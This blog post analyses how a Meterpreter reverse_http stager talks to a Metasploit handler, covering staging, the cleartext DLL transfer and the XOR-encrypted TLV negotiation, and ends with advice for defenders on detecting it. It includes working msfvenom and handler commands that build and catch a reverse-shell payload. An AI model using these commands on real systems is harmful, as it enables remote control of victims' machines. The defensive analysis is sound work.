Meterpreter reverse_http how does it communicate ? between device and the MSF (part 1)

Reading Time: 4 minutes

Before reading note: for practical reasons (time consuming) not all the printscreen shots have been made with same settings (ip addresses mainly i used once 192.168.150.196 and sometimes 192.168.1.71)

For tests i created a simple reverse_http meterpreter build with the following commands (32 bits simple http reverse) :

/usr/bin/msfvenom –platform Windows -a x86 -p windows/meterpreter/reverse_http lport=80 lhost=192.168.150.196 -f exe -o payload32_noenc_80.exe

If you strings on it you find 1) the User-Agent 2) the URL 3) the host to connect to

If you generate the same payload but in RAW format (-f raw), it’s even more obvious

Starting the MSF on my kali I used the following commands

msf console

use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_https
set LPORT 443
set LHOST 192.168.1.71
run

Overall we have 4 phases

Phase 1) an exploit is fired on the device (the stager, here in our case a windows x86 reverse_http)
Phase 2) the stager connects back to the MSF on a specific URL via HTTP
Phase 3) the MSF recognises a new session and sends the meterpreter dll to the device in clear
Phase 4) the stager load the meterpreter in memory and execute it. From then on, a secure command and control channel is negotiated back to the MSF

Phase 2

The initial connection from the client to the MSF looks like the communication is always using the same URI

in our case URI was always
http://192.168.1.71/7cPAr6Q79WlZlliXB–YdQCrqxdrIJ0tdQnnCCD6ovaDfN7-Y2AaGYE4ldf4gU86EuMdTWMCumgeE-aGe6gIypGyT/

Phase 3

We can see the metsrv.DLL in clear (we recognize the header of the file (MZ, DOS Segment, PE) Additional reference ( https://fr.wikipedia.org/wiki/Portable_Executable#/media/Fichier:PE_Edit.PNG ) (on server the files are metsrv.x86.dll and metsrv.x64.dll)

A simple way to extract the dll from the pcap is to use foremost -i meterpreter.pcap

Phase 4

We can see a second session created by the device to the MSF

Traffic capture of keep alive between meterpreter and the controlled machine

TLV Negotiation

The real first data comming out from the MSF to the device look to be encrypted

After some good reading of posts and forums this encryption is a simple inline XOR with the key in the first 8 bytes. I took the value of the Data from Wireshark and applied a XOR on it with the first 8 bytes as key.

We can see the core_negotiate_tlv_encryption command with the public key of the MSF been sent to the device.

From there on, each communication will be encrypted with the same XOR mecanism + Device will encrypt using the MSF public key, and the MSF will encrypt for the device public key. The keys are not static and are generated for each session. Making nearly impossible to decrypt except if you a active MITM system which would allow decryption.

Advice for Blue Team

In my example i have used http and not https for ease of decoding for this post.

My learning from this, if you want to catch meterpreter session you need to

Implement SSL interception ( for all URL Categories … yes too easy to fake a web site been taggued as Financial or Health ).
Enable Anti-virus which will then normally recognized the meterpreter DLL loaded in Phase 2.
Or best, enable file blocking against PE files. (If you have a PaloAlto Firewall no performance change, but if you have a Fortinet be carefull your throughput will drastically decrease (check it up before implementing )).